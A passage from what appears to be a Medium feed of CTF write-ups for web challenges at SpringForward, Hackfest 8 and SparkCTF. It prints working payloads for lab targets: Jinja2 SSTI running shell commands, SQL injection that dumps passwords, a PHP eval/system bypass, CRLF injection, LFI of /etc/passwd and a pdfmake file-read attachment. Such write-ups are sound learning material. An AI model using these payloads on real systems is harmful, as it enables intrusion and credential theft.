href="https://springforward-underworld-bypass.chals.io/explore.php?file=/realm_key/flag.txt">https://springforward-underworld-bypass.chals.io/explore.php?file=/realm_key/flag.txt</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FTI9oJGWm5WwWNT-I6GWdw.png" /></figure><p><strong>Flag: </strong>nicc{HE1LBoUNd_8RE@k0U7}</p><h3>Web/back-in-time-2-electric-boogaloo — 17 solves</h3><h4>First Look</h4><p>We are given a URL and source code with a corrupted function (javascript).<br>It is the same website, 2-in-1, first one was SQL injection + search, and this one …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*9jJy2lmAZYp_T_05a9KqKQ.png" /></figure><p>We log in as the first challenge, if we look for the flag we will find it in the travel.js file</p><pre>import { sqlConnection } from &#39;../app.js&#39;;<br>import timeController from &#39;../system-control.js&#39;;<br>import { Router } from &#39;express&#39;;<br><br>const timeTravelRouter = Router({ mergeParams: true });<br><br>timeTravelRouter.get(&#39;/&#39;, async (req, res) =&gt; {<br>  let results;<br><br>  try {<br>    [results] = await sqlConnection.execute(<br>      &#39;SELECT * FROM leaps ORDER BY leap_id DESC&#39;);<br>  } catch (error) {<br>    results = null;<br>  }<br><br><br>  let lastTravelDate;<br>  if (results &amp;&amp; results.length) {<br>    const lastTravelEntry = results[0];<br>    lastTravelDate = new Date(lastTravelEntry.leap_date);<br>    lastTravelDate.setFullYear(lastTravelEntry.year);<br>  } else {<br>    lastTravelDate = new Date(&#39;1970-01-01&#39;);<br>  }<br><br>  res.render(&#39;travel&#39;, {<br>    session: req.session,<br>    currentDate: new Date(),<br>    lastTravelDate: lastTravelDate,<br>    destinationDate: timeController({ type: &#39;GetSetpoint&#39; }),<br>  });<br>});<br><br>timeTravelRouter.put(&#39;/&#39;, async (req, res) =&gt; {<br>  const request = { type: &#39;SetSetpoint&#39; };<br><br>  if (req.body.debug &amp;&amp; !(process.env.ALLOW_USER_DEBUG === &#39;true&#39;)) {<br>    return res.json({ error: &#39;Debug mode is not allowed to be set.&#39; });<br>  }<br><br>  for (const prop in req.body) {<br>    request[prop] = req.body[prop];<br>  }<br><br>  const date = new Date(req.body.date);<br>  let year = req.body.year;<br>  if (req.body.bc)<br>    year = year * -1;<br>  date.setFullYear(year);<br>  try {<br>    timeController(request);<br>    if (request.debug) {<br>      return res.json({ success: true, debugInfo: process.env.FLAG });<br>    } else {<br>      return res.json({ success: true });<br>    }<br>  } catch (err) {<br>    res.status(500);<br>    if (request.debug) {<br>      return res.json({ error: err.message, debugInfo: process.env.FLAG });<br>    } else {<br>      return res.json({ error: err.message });<br>    }<br>  }<br><br>});<br>timeTravelRouter.post(&#39;/&#39;, async (_req, res) =&gt; {<br>  try {<br>    timeController({ type: &#39;TimeTravel&#39; });<br>    return res.json({ success: true });<br>  } catch (err) {<br>    res.status(500);<br>    return res.json({ error: err.message });<br>  }<br>});<br><br>export default timeTravelRouter;</pre><p>It is in the route handler of the put request, “change destination time” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WzgfxApF0MFsFCKhBKB_Cg.png" /></figure><h4>Analysis</h4><p>The code says:<br>I’m going to read the properties in the JSON and if I find the ‘debug’ property is set and true I’ll return “Debug mode is not allowed to be set”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DYlCtnI96NxryS2MzjQWBw.png" /></figure><p>If I do not find ‘debug’ I’ll transfer the properties to the request object</p><pre>for (const prop in req.body) {<br>    request[prop] = req.body[prop];<br>  }</pre><p>and then I’ll apply some things to the request object in the corrupted function: timeController(request);<br>and at the end, if somehow the request object has a debug property I’ll return a success message and the flag which is an env variable.</p><p>The first thing that comes to mind (+ some experience) when dealing with objects (the hint mentions that) and JSON is prototype pollution, if you know prototype pollution you will immediately notice it. An excellent explanation from <a href="https://portswigger.net/web-security/prototype-pollution">Portswigger</a>.</p><blockquote>Prototype pollution vulnerabilities typically arise when a JavaScript function recursively merges an object containing user-controllable properties into an existing object, without first sanitizing the keys. This can allow an attacker to inject a property with a key like __proto__, along with arbitrary nested properties. <a href="https://portswigger.net/web-security/prototype-pollution">read more</a></blockquote><p>So, we can’t directly set the “debug” property to true, but we can inject it directly into the object (request) prototype by adding the special<br>__proto__ property to the JSON</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sqm2c7155TSD15sG51Vt5w.png" /></figure><p><strong>Flag: </strong>nicc{52nfeo7DNwVLXgQz4r}</p><h3>AND THAT WRAPS IT FOR THE WEB CHALLENGES :)</h3><h3>Mics</h3><p>I thought I was going to do a quick write-up for the Misc, but MoonBaboon did a great job. Check this out!<br><a href="https://github.com/MoonBaboon/CTF-WriteUps/blob/main/SpringForwardCTF2024/Misc.md">https://github.com/MoonBaboon/CTF-WriteUps/blob/main/SpringForwardCTF2024/Misc.md</a></p><p>Notes:</p><ul><li>The Virtual-spring: you can add console.log(functionName) to each function it it will print the flag</li><li>The Minerva’s-Quest is missing, which is just copying the question + the answers after decoding them, <a href="https://www.dcode.fr/affine-cipher">Affine cipher</a>, to chat GPT and you will get the answer</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*aneEZF7O1CGOWyFK3Y1GSg.png" /></figure><h3>THANKS FOR READING ❤</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=751483ec726e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackfest 8 — Finals]]></title>
            <link>https://medium.com/@zagrouba.alaa0101/hackfest-8-finals-85306aa5c598?source=rss-2809fa8bc9d1------2</link>
            <guid isPermaLink="false">https://medium.com/p/85306aa5c598</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Zagrouba Alaa]]></dc:creator>
            <pubDate>Mon, 22 Apr 2024 10:59:06 GMT</pubDate>
            <atom:updated>2024-08-01T08:30:55.294Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hackfest 8 — Finals</h3><h3>Overview</h3><p>A nicely organized CTF by Hackfest, a great event overall. Thanks.<br>The three web challenges were not too easy and not too hard, I think I solved the easiest one, which is cool, here is a writeup.</p><h3>PdfMake</h3><h4><strong>First Look</strong></h4><p>We are given the source code and a URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uijspMOdMokHlm4mLoS94Q.png" /></figure><p>You give it Json then you download a pdf file. Here is what it looks like with the example.</p><pre>You give it this:<br>{<br>  &quot;content&quot;: [<br>    {<br>      &quot;text&quot;: &quot;This is a header, using header style&quot;,<br>      &quot;style&quot;: &quot;header&quot;<br>    },<br>    &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit...&quot;,<br>    {<br>      &quot;text&quot;: &quot;Subheader 1 - using subheader style&quot;,<br>      &quot;style&quot;: &quot;subheader&quot;<br>    },<br>    &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit...&quot;,<br>    {<br>      &quot;text&quot;: &quot;Subheader 2 - using subheader style&quot;,<br>      &quot;style&quot;: &quot;subheader&quot;<br>    },<br>    &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit...&quot;,<br>    {<br>      &quot;text&quot;: &quot;It is possible to apply multiple styles, by passing an array...&quot;,<br>      &quot;style&quot;: [&quot;quote&quot;, &quot;small&quot;]<br>    }<br>  ],<br>  &quot;styles&quot;: {<br>    &quot;header&quot;: {<br>      &quot;fontSize&quot;: 18,<br>      &quot;bold&quot;: true<br>    },<br>    &quot;subheader&quot;: {<br>      &quot;fontSize&quot;: 15,<br>      &quot;bold&quot;: true<br>    },<br>    &quot;quote&quot;: {<br>      &quot;italics&quot;: true<br>    },<br>    &quot;small&quot;: {<br>      &quot;fontSize&quot;: 8<br>    }<br>  }<br>}</pre><p>it gives you this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*HGXipH_4xvm8fUVcHO7MXQ.png" /><figcaption>PDF file</figcaption></figure><h4>Analysis</h4><pre>FROM node:16<br><br>WORKDIR /opt<br><br>RUN apt-get update &amp;&amp; apt-get install -y \<br>    curl \<br>    xz-utils \<br>    unzip<br><br>RUN wget https://github.com/bpampuch/pdfmake/archive/refs/tags/0.3.0-beta.8.zip -O pdfmake.zip \<br>    &amp;&amp; unzip pdfmake.zip \<br>    &amp;&amp; mv pdfmake-0.3.0-beta.8 pdfmake \<br>    &amp;&amp; rm pdfmake.zip<br><br>WORKDIR /opt/pdfmake<br>RUN npm install<br>RUN npm run build<br><br>WORKDIR /opt/app<br>RUN mkdir public<br><br>COPY server.js .<br>COPY index.html public/index.html<br><br>RUN npm install body-parser express<br>RUN npm install -g nodemon<br>RUN echo &#39;HACKFEST{fake}&#39; &gt; /flag.txt<br><br>EXPOSE 3000<br><br>CMD [&quot;nodemon&quot;, &quot;server.js&quot;]</pre><p>From the docker file, we see that we are dealing with code from GitHub with minor changes and that version does not seem vulnerable, we can tell that from the description too, it says <br>“ It is a feature, not a bug 0_0 ”<br>So, I went to read about it in the <a href="https://pdfmake.github.io/docs/0.1/">documentation</a> and it looked good until I searched for “embedding files in Pdfmake”: <a href="https://pdfmake.github.io/docs/0.3/document-definition-object/attachments/">attachment embedding</a>.</p><p>Yes, it is a feature but it says: “Version 0.3 is under development. Do not use in production”</p><p>So that is it, we add the attachment to the example given (I think it is ok to use attachments only too), and do not forget to add those double quotes around each key and value, like this:</p><pre>Payload:<br>{<br>  &quot;content&quot;: [<br>    {<br>      &quot;text&quot;: &quot;This is a header, using header style&quot;,<br>      &quot;style&quot;: &quot;header&quot;<br>    },<br>    &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit...&quot;,<br>    {<br>      &quot;text&quot;: &quot;Subheader 1 - using subheader style&quot;,<br>      &quot;style&quot;: &quot;subheader&quot;<br>    },<br>    &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit...&quot;,<br>    {<br>      &quot;text&quot;: &quot;Subheader 2 - using subheader style&quot;,<br>      &quot;style&quot;: &quot;subheader&quot;<br>    },<br>    &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit...&quot;,<br>    {<br>      &quot;text&quot;: &quot;It is possible to apply multiple styles, by passing an array...&quot;,<br>      &quot;style&quot;: [&quot;quote&quot;, &quot;small&quot;]<br>    }<br>  ],<br>  &quot;styles&quot;: {<br>    &quot;header&quot;: {<br>      &quot;fontSize&quot;: 18,<br>      &quot;bold&quot;: true<br>    },<br>    &quot;subheader&quot;: {<br>      &quot;fontSize&quot;: 15,<br>      &quot;bold&quot;: true<br>    },<br>    &quot;quote&quot;: {<br>      &quot;italics&quot;: true<br>    },<br>    &quot;small&quot;: {<br>      &quot;fontSize&quot;: 8<br>    }<br>  },<br>  &quot;attachments&quot;: {<br>    &quot;sampleImage&quot;: {<br>     &quot;src&quot;: &quot;/flag.txt&quot;,<br>     &quot;name&quot;: &quot;flag&quot;<br>    }<br>   }<br>}</pre><p>If you download the PDF file you won’t see the flag because it is attached to the PDF as a file here is the meaning of ‘attachment’:</p><blockquote>A file attachment, particularly when referring to a PDF attachment, means a file that is appended or included with another document or message. When someone sends you an email or message with a PDF file attached, it means they’ve included that file alongside their message. by chaGPT</blockquote><p>So you can either open it with a PDF reader like Acrobat or just Firefox.<br>here is the PDF file: <a href="https://drive.google.com/file/d/1iruq95XvYQIX5w4ttdwXP7YJLll3BR8C/view?usp=sharing">https://drive.google.com/file/d/1iruq95XvYQIX5w4ttdwXP7YJLll3BR8C/view?usp=sharing</a></p><p><strong>Flag</strong>: HACKFEST{EERTHNfds21345611LLMBNTRE3241234214}</p><h3>CacheClutch</h3><p>Here is a writeup, good luck :)</p><p><a href="https://tari.moe/2023/xsb-ezcache.html">2023香山杯决赛 ezcache Django 缓存反序列化 | tari Blog</a></p><h3>Baby_Sqli</h3><p>This one is really cool, I got some stuff and missed some but I learned a lot from it, author’s writeup: <br><a href="https://medium.com/@siwar_belhajali/hackfest8-finals-610209bfd4d0">https://medium.com/@siwar_belhajali/hackfest8-finals-610209bfd4d0</a></p><h4>Bonus:</h4><p>The tool for the misc challenge: <a href="https://github.com/DvorakDwarf/Infinite-Storage-Glitch">https://github.com/DvorakDwarf/Infinite-Storage-Glitch</a></p><h3>Thanks for reading ❤</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85306aa5c598" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackfest 8 — Quals]]></title>
            <link>https://medium.com/@zagrouba.alaa0101/hackfest8-quals-6d9b113d7c3f?source=rss-2809fa8bc9d1------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d9b113d7c3f</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Zagrouba Alaa]]></dc:creator>
            <pubDate>Tue, 26 Mar 2024 18:47:49 GMT</pubDate>
            <atom:updated>2024-04-22T11:46:07.265Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><p>To be honest this was not the greatest CTF but it did the job, it is just Quals after all right? :)<br>I will mention the points that make a good, joyful CTF on my LinkedIn:<br><a href="https://www.linkedin.com/posts/alaa-zagrouba-7286012a1_hackfest8-quals-activity-7178519355729584128-YNCY?utm_source=share&amp;utm_medium=member_desktop"><strong>LinkedIn Post</strong></a><br>Sorry, I don’t have screenshots and source code of all the challenges, the platform was closed pretty early.<br>here is a quick writeup for 4/6 web challenges</p><h3>First challenge: IS THAT YOU?</h3><p>This is a very easy one, just change the cookie is-admin value to true in the developer tools.</p><h3>Second challenge: Identity Breach</h3><p>This one is broken after a few solves because the database is shared and we are all playing with the same instance… So thanks to the guy who changed the admin password to test :) <br>The intended solution is not hard though you just have to know what an SQL Truncation attack is. <a href="https://medium.com/r3d-buck3t/bypass-authentication-with-sql-truncation-attack-25a0c33ab87f"><strong>Read about it</strong></a><strong>.</strong><br>Simply it is a misconfiguration in the database, where you can create a new user with an existing username, then you can put whatever password you want to that user.</p><h4>exploit</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*zZOthTJMB58zMc74Pp4Ayg.png" /></figure><p>We know that username length should not exceed 20 so we can put:</p><pre>username= admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%test<br>password= test</pre><p>then the username will be truncated and become admin++++++++++++++…<br>and in SQL admin+++++++ = admin (pluses do not change anything because they are spaces in SQL).<br>We successfully changed the admin password to test now log in and get the flag.</p><h3>Third challenge: University</h3><h4><strong>First look</strong></h4><p>This challenge has only one Python source file if we check it we see this suspicious part:</p><pre>@app.route(&#39;/&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])<br>def login():<br>    if request.method == &#39;POST&#39;:<br>        username = request.form[&#39;username&#39;]<br>        password = request.form[&#39;password&#39;]<br>        <br>        try:<br>            response = requests.get(f&quot;http://localhost:5000/api/users/{username}/auth&quot;)<br>            response.raise_for_status() <br>            conn = connect_db()<br>            cursor = conn.cursor()<br>            cursor.execute(&#39;SELECT * FROM users WHERE username=?&#39;, (username,))<br>            user = cursor.fetchone()<br><br><br>            if user and user[2] == password:<br>                session[&#39;username&#39;] = username<br>                session[&#39;session_token&#39;] = secrets.token_hex(16) <br>                return redirect(url_for(&#39;dashboard&#39;))<br>            elif user:<br>                error = &#39;Invalid password&#39;<br>                return render_template(&#39;login.html&#39;, error=error)<br>        <br>            elif response.status_code == 200:<br>                session[&#39;username&#39;] = username<br>                session[&#39;session_token&#39;] = secrets.token_hex(16) <br>                return redirect(url_for(&#39;dashboard&#39;))<br><br>        except requests.RequestException as e:<br>            error = &#39;Error occurred during username validation&#39;<br>            return render_template(&#39;login.html&#39;, error=error)<br><br>    return render_template(&#39;login.html&#39;)</pre><p>did you notice the same block of code? <br>we have to log in to the dashboard so we will take the easy road and get a 200 response code from this URL:<br><a href="http://localhost:5000/api/users/%7Busername%7D/auth"><strong>http://localhost:5000/api/users/{username}/auth</strong></a></p><h4>exploit</h4><p>I tried admin and I got 200 back but I instead got a page that said “Invalid password” so I just added a slash to admin: (it is the same)<br><a href="http://localhost:5000/api/users/%7Busername%7D/auth"><strong>http://localhost:5000/api/users/admin//auth</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*41p4819CZ1L0h-ugQrOhng.png" /></figure><p>Now, we are in and we can add notes that got reflected so I tried <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md"><strong>SSTI</strong></a>,<br>but there is a filter in the add_note function that prevents all payloads unless we try some bypasses.</p><pre>@app.route(&#39;/add_note&#39;, methods=[&#39;POST&#39;])<br>def add_note():<br>    if &#39;username&#39; in session and &#39;session_token&#39; in session:<br>        if request.method == &#39;POST&#39;:<br>            note_content = request.form[&#39;note&#39;]<br>            note_content = request.form[&#39;note&#39;].replace(&quot;&#39;&quot;, &quot;&quot;).replace(&#39;&quot;&#39;, &quot;&quot;).replace(&quot;[&quot;, &quot;&quot;).replace(&quot;]&quot;, &quot;&quot;).replace(&quot;request&quot;, &quot;&quot;).replace(&quot;%&quot;, &quot;&quot;)<br>            session_token = session.get(&#39;session_token&#39;)<br><br>            template = Template(note_content)<br>            rendered_note = template.render()<br><br>            conn = connect_db()<br>            cursor = conn.cursor()<br>            cursor.execute(&#39;INSERT INTO notes (username, note, session_token) VALUES (?, ?, ?)&#39;, (session[&#39;username&#39;], rendered_note, session_token))<br>            conn.commit()<br>            conn.close()<br><br>        return redirect(url_for(&#39;dashboard&#39;))<br>    return redirect(url_for(&#39;login&#39;))</pre><p>we need to bypass this with a well-known technique which is crafting payload with chr, character by character, in this payload:</p><pre>{{ namespace.__init__.__globals__.os.popen(&#39;env&#39;).read() }}</pre><p>Note: the challenge description said that the flag is an env variable and the source code is importing Jinja2 that is how we identify the payload template.<br>we only have to obfuscate ‘env’, after some googling and some trials we can access the chr with: <strong>self.__init__.__globals__.__builtins__.chr()<br></strong>Note: chr(101) + chr(110) + chr(118) = env<br><strong>Final payload:</strong></p><pre>{{ namespace.__init__.__globals__.os.popen(self.__init__.__globals__.__builtins__.chr(101) + self.__init__.__globals__.__builtins__.chr(110)+ self.__init__.__globals__.__builtins__.chr(118)).read() }}</pre><h3>Fourth challenge: Cyber Breach</h3><p>This is another SSTI challenge, as I said I always try to test the web app before seeing the source code and actually it did not add that much you definitely could solve it without looking at the code.<br>anyway, I tried a simple SSTI (you know it is Python and mostly Jinja2 from Wappalyzer: google extension ).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*IA7_VNb7TzOFMXQC8nDOUg.png" /></figure><p>I tried this:</p><pre>{{ self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;id&#39;).read() }}</pre><p>did not work it said “Invalid JSON”, I said JSON maybe it is a JSON value so I put the payload between double quotes and it worked then it will give us a random hex string that we can submit to /viewupdates.html and see the content of our “tactical update” being rendered</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*EVs5THPPrX_PyMlCE1sf5w.png" /></figure><p>So, it worked and now we can get the flag with the same steps with this payload:</p><pre>&quot;{{ self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;cat flag.log&#39;).read() }}&quot;</pre><p>As I said the source code did not add much except the part where it renders the template back with our update.</p><h3><strong>Fifth and Sixth challenges: Panel &amp; IfParse</strong></h3><p>I did not solve these here is pu71n’s <a href="https://blog.seif.website/seifallahhomrani/writeups/local-ctfs/hackfest8-quals"><strong>writeup</strong></a>.</p><ol><li><strong>Panel</strong> is not very hard, I totally forgot about <a href="https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a#crlf"><strong>CRLF</strong></a> that is the idea behind it, you are gonna create your own user with the credentials needed to get the flag which are:</li></ol><pre><br>config[username] = {<br>        &#39;username&#39;:username,<br>        &#39;password&#39;: password,<br>        &#39;role&#39;: role,<br>        &#39;access&#39;: access<br>    }<br><br>you need:<br>if session[&#39;username&#39;] == &#39;admin&#39; and session[&#39;role&#39;] == &#39;admin&#39; and session[&#39;access&#39;] == &#39;flag&#39;:<br>        flag = &#39;HACKFEST{fake}&#39;</pre><p>this is how users.ini file looks like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*8zeep2q_4Fwha2fTTQPYzw.png" /></figure><p>Run the challenge locally, that is the tip to solve the challenge easily.<br>now if you enter something like this:</p><pre>username=admin]%0Dusername = admin%0Dpassword = aax%0Drole = admin%0Daccess = flag%0D[aaa&amp;password=anything&amp;role=anything&amp;access=anything</pre><p>you will override the admin user and log in with the password you set for the new admin.</p><p><strong>2. Ifparse</strong> is a medium challenge you have the source code in the webpage and everything is clear you have to know how regex works, how the @eval works, and how to bypass the filter :)</p><p>here is another payload from NDLx0</p><pre>url: http://35.180.54.212:8088/?parse={if:%20true)%20(%27s%27.%27ystem%27)(%27cat%20/f???%27);//}%20sss%20{end%20if}<br>decoded: {if: true) (&#39;s&#39;.&#39;ystem&#39;)(&#39;cat /f???&#39;);//} sss {end if}</pre><p>So, regex is easy you have to use the if condition, eval, you use system and to bypass that just concatenate them with . (it is + but in PHP)<br>here is the trick I missed:</p><blockquote>You can use the features of PHP7 and add brackets after the string to execute it as a function, such as(&#39;phpinfo&#39;)()</blockquote><h3>Thanks for reading ❤</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d9b113d7c3f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ramadan’s SparkCTF]]></title>
            <link>https://medium.com/@zagrouba.alaa0101/ramadans-sparkctf-dc78d9400a8a?source=rss-2809fa8bc9d1------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc78d9400a8a</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Zagrouba Alaa]]></dc:creator>
            <pubDate>Thu, 21 Mar 2024 23:57:06 GMT</pubDate>
            <atom:updated>2024-04-15T11:50:27.210Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><p>A very nice well-balanced CTF from Isetcom Spark waiting for more :)<br>This is a quick write-up for the web challenges, there are only one or two medium-difficulty challenges so that is why it is gonna be quick</p><h3>Warmup — 53 solves</h3><p>inspect HTML, CSS, and JS you will find all the parts.</p><h3>Are you admin? — 44 solves</h3><p>After logging in as a guest we get this cookie:<br>auth = MTcxMTA1OTE0NjpndWVzdA==<br>base64 decoded: 1711059146:guest<br>So, change guest to admin and base64 encode and send it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EIX_Rpd7YC-ID8j6koMU8Q.png" /></figure><h3>Deceive — 36 solves</h3><p>We have a link to the source code</p><pre>&lt;?php<br>include(&quot;flag.php&quot;);<br>if (isset($_GET[&#39;source&#39;])) {<br>    show_source(__FILE__);<br>    die();<br>}<br>if (!isset($_GET[&#39;password&#39;])) {<br>    echo &lt;&lt;&lt;EOT<br>    &lt;h2&gt;aya warini ch3andk?&lt;/h2&gt;<br>    &lt;form&gt;<br>        &lt;input name=&quot;password&quot; type=&quot;text&quot; placeholder=&quot;het&quot;/&gt;<br>        &lt;input type=&quot;submit&quot; value=&quot;Login&quot;/&gt;<br>    &lt;/form&gt;<br>    &lt;a href=&quot;/?source&quot;&gt;el code wla chnouwa&lt;/a&gt;<br>    EOT;<br>} else {<br>    $password = $_GET[&#39;password&#39;];<br>    $correctPassword = &quot;T0uUfK2Q8cik&quot;;<br><br>    if ($password === $correctPassword) {<br>        die(&quot;NkdjWGJDeTc0VkZUWkdOMVlNV1RCeTlvQVN6MjZpRXV2QWU2dExLQ2ExeXA&quot;);<br>    }<br>    if (md5($password) == md5($correctPassword)) {<br>        echo &quot;&lt;h3&gt;aya hbibi tfadhel 7a9ek: $flag&lt;/h1&gt;&quot;;<br>    } else {<br>        echo &quot;jadet alik ?&quot;;<br>    }<br>}<br>?&gt;</pre><p>So, we know the password, easy right? But wait if we enter the correct password we will ‘die’ so we obviously should escape the first if statement to get the flag. Read about <a href="https://www.phptutorial.net/php-tutorial/php-type-juggling/"><strong>Type juggling</strong></a>.<br>So we can’t escape that and we have to give a different password that evaluates to true in the second if statement comparison which is loose and vulnerable to type-juggling and exploit it with magic hashes. <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md#magic-hashes"><strong>payloads</strong></a>.<br>Input: 240610708 and you will get<br>aya hbibi tfadhel 7a9ek: <strong>Spark{PHP_M4g1c_15_4m4z1ng}</strong></p><h3>Sparks Shop — 17 solves</h3><p>First, I always try to test the web app without looking at the source code just like in real-life, black boxing :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fakt0_fhTBvYhsezM1_rHw.png" /></figure><p>Very simple fresh looking functional website with an input bar at the top.<br>Products and shops usually use databases so maybe we have our search value in a query. Let&#39;s try SQLi with a single quote et voila! Internal Server Error. So it is SQli, we could continue doing black box penetration testing and I’m sure we will get to the flag. But I don’t have that much time so let&#39;s read the source.<br>Vulnerable part:</p><pre>@app.route(&#39;/search&#39;, methods=[&#39;POST&#39;])<br>def execute() -&gt; str:<br>    if request.method == &#39;POST&#39;:<br>        search = request.form[&#39;search&#39;]<br>        sql = f&quot;SELECT title, category, price, image FROM products WHERE title LIKE &#39;%{search}%&#39;&quot;<br>        g.cursor.execute(sql)<br>        res = g.cursor.fetchall()<br>        g.conn.close()<br>        return render_template(&#39;index.html&#39;, res=res)<br>    return redirect(&#39;/&#39;)</pre><p>As you see our input is not sanitized so it is a simple SQLi. The flag is in another table called users, set as a password. How to extract content from other columns from other tables in one query? UNION of course.<br>UNION has some rules to work. <a href="https://blog.devart.com/mysql-union-tutorial-html.html#:~:text=Rules%20and%20restrictions%20of%20MySQL%20UNION,-When%20using%20UNION&amp;text=The%20number%20of%20columns%20in,of%20the%20same%20data%20type."><strong>check them</strong></a>.<br>The most important one: The number of columns in each SELECT query within the combined UNION query must be the same.</p><p>Final payload:</p><pre>&#39; union select null, password, null, null from users;--<br><br>query:<br><br>SELECT title, category, price, image FROM products <br>WHERE title LIKE &#39;%&#39; UNION select null, password, null, null from users;--%</pre><p>Note: it is good ‘practice’ to not put the column in the first field and to use null :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZEKcr_C0sB9i90c81ebDRw.png" /></figure><h3>Sparks Shop Revenge — 10 solves</h3><p>Not much changed from the previous one except this line filter added to the previous execute function</p><pre>search = search.replace(&#39;,&#39;,&#39;&#39;)</pre><p>It is deleting the comma from our payload.<br>if we search on payload all the things we get this: <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#no-comma-allowed"><strong>No comma SQL injection</strong></a><br>we can use Join to bypass the filter, just a way around the comma,<br>pretty straightforward, we need to adjust it a bit and select the password that is it</p><pre>&#39; UNION SELECT * FROM (SELECT password FROM users)a JOIN (SELECT password FROM users)b JOIN (SELECT password FROM users)c JOIN (SELECT password FROM users)d;--<br><br>query:<br>SELECT title, category, price, image FROM products <br>WHERE title LIKE &#39;%&#39; UNION SELECT * FROM (SELECT password FROM users)a JOIN (SELECT password FROM users)b JOIN (SELECT password FROM users)c JOIN (SELECT password FROM users)d;--%&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*91iPFWpeYJCajdKHombijQ.png" /></figure><h3>LockBit 1337.1337 – 8 solves</h3><p>This one is just an implementation of an exploit on hacktricks.<br>this is the URL: <a href="https://lockbit.events-spark.tech/chat?chat_id=1.json">https://lockbit.events-spark.tech/chat?chat_id=1.json</a><br>I tried LFI with ../../../etc/passwd it worked aaand what next?<br>if we try to include a directory we will get this error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gUrTixiuT4T3TIoki-Qcag.png" /></figure><p>we go to ../../app/app.py and we get the source code:</p><pre>from flask import Flask, render_template, request, jsonify<br>import os<br><br>os.system(&#39;whoami&#39;)<br><br>app = Flask(__name__)<br><br>@app.route(&#39;/&#39;)<br>def index():<br>    return render_template(&#39;index.html&#39;)<br><br>@app.route(&#39;/chat&#39;, methods=[&#39;GET&#39;])<br>def chat():<br>    chat_id = request.args.get(&#39;chat_id&#39;)<br>    file_content = open(&#39;json/&#39; + chat_id, &#39;r&#39;).read()<br>    return jsonify({&quot;content&quot;: file_content})<br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=5000, debug=True)</pre><p>We see that debug is set to true which is why we see the traceback.<br>Got stuck for a while in here then I thought about getting the PIN code, at first I thought it was impossible but it turned out that there was an exploit, not too easy but we can follow step by step and we will get there.<br>I have nothing to add to the Hacktricks exploit it has everything, I just followed it, and I did not understand everything but I had a pretty good overview of what was happening.<br>here is the exploit: <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug"><strong>Flask Debug Vulnerability</strong></a></p><p>Note: <br>- You can find the username in proc/self/environ which is root<br>- You can find the path in the traceback</p><p>Then we get the PIN code and we get access to a Python shell where we can execute system commands or get a reverse shell (I did rev shell, <a href="https://medium.com/@zagrouba.alaa0101/quals-isi-web-lyricsa-6889ff94f0a1"><strong>HOW?</strong></a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*sB3fSJbx5l2ir53oER5-Mw.png" 